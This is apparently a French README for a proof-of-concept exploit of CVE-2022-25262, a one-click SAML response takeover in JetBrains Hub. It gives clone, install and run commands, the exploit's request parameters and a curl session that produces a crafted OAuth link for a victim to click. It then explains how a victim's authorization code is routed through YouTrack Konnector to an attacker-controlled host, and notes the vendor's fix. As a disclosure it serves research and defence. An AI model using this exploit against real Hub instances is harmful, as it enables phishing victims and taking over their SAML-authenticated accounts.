
PoC + détails de vulnérabilité pour CVE-2022-25262 / prise de contrôle de réponse SAML en un clic JetBrains Hub
Preuve de concept + détails de la vulnérabilité pour CVE-2022-25262 | Prise de contrôle en un clic de la réponse SAML de JetBrains Hub
Installation et exécution :
$ git clone https://github.com/yuriisanin/CVE-2022-25262
$ cd CVE-2022-25262/
$ pip3 install -r requirements.txt
$ python3 exploit.py -h
usage: exploit.py [-h] [-p P]
optional arguments:
-h, --help show this help message and exit
-p P Uvicorn port
# If you run the exploit on the local machine, you might need to use Ngrok or alternatives.
$ ngrok http 8000
Utilisation :
Paramètres de la requête :
| Nom | Description | Requis |
|---|---|---|
| hub_url | URL de l'instance Hub cible | ✅ |
| issuer | Émetteur SAML | ✅ |
| acs_url | URL du service consommateur d'assertion | ✅ |
| youtrack_url | URL de l'instance YouTrack connectée au Hub (requis si l'utilisateur invité est désactivé) | ❔ |
Obtenir le lien d'exploitation :
$ curl -v "http://{exploit-host}/get-exploit-link?hub_url=https://hub.jetbrains.com&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml"
* Trying {exploit-host-ip}:80...
* Connected to {exploit-host} ({exploit-host-ip}) port 80 (#0)
> GET /get-exploit-link?hub_url=https://hub.jetbrains.com&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml HTTP/1.1
> Host: {exploit-host-ip}
> User-Agent: curl/7.77.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Length: 341
< Content-Type: application/json
< Date: Sat, 30 Apr 2022 19:14:45 GMT
< Server: uvicorn
<
* Connection #0 to host {exploit-host-ip} left intact
{"exploit_url":"https://hub.jetbrains.com/api/rest/oauth2/auth?client_id=fd6b45e6-4a91-4574-9fcf-ebc6926f6378&response_type=code&scope=Hub+YouTrack+TeamCity+Upsource+fd6b45e6-4a91-4574-9fcf-ebc6926f6378&state=fhdyaaf&access_type=offline&redirectURI=https://konnector.services.jetbrains.com/ring/oauth"}
DÉMO :
La faiblesse se compose de deux parties :
L'IdP SAML fonctionne comme une extension d'OAuth. Lorsqu'un utilisateur spécifique souhaite se connecter à un fournisseur de service spécifique, il passe par le flux d'autorisation OAuth avec code (requêtes 1-2) et une fois le code obtenu, il le renvoie au Hub (requête 3). Le Hub prend les informations sur l'utilisateur associé au code et émet une réponse SAML signée pour le service. Même si l'IdP SAML utilise le client OAuth2 du Hub (client_id=0-0-0-0-0) pour l'intégration, il ne vérifie pas au nom de quel client OAuth le code a été émis. La seule chose qui importe ici est la validité du code. Cela pourrait aboutir à une prise de contrôle de la réponse SAML si l'attaquant trouve un moyen de prendre le contrôle du code d'autorisation provenant d'un client OAuth enregistré dans le Hub.

YouTrack Konnector est un service propriétaire qui permet de connecter une instance YouTrack spécifique à son bot Slack. Le service prend l'URL d'une instance YouTrack ainsi que l'ID et le secret du client OAuth de Konnector (requête 1). Il tente ensuite de vérifier que l'URL fournie pointe vers un YouTrack valide en appelant plusieurs points d'API ("handshake" requêtes 2-3). Si tout se passe bien, Konnector renvoie l'URL qui permettrait à un utilisateur spécifique de poursuivre le flux d'autorisation OAuth avec code (réponse 1). L'URL contient un paramètre de requête "state" qui aide Konnector à acheminer le code d'autorisation OAuth vers le bon gestionnaire (instance Hub). Un attaquant pourrait créer un hôte avec les points d'API requis pour le "handshake" et obtenir un paramètre "state" pointant vers l'hôte de l'attaquant. Ensuite, un attaquant pourrait fabriquer une URL d'autorisation OAuth et l'envoyer à une victime. Si la victime clique sur le lien et termine le flux OAuth (la victime doit avoir une session valide dans Hub), le service Konnector recevra le code et l'enverra à l'hôte de l'attaquant (requêtes 4-6).

L'équipe YouTrack a ajouté une vérification qui permet d'utiliser les codes d'autorisation émis pour le client OAuth "JetBrains Hub Service" pendant le processus d'échange OAuth2 -> SAML. Par conséquent, il n'est pas possible d'échanger des codes d'autorisation émis pour le client OAuth "YouTrack Konnector".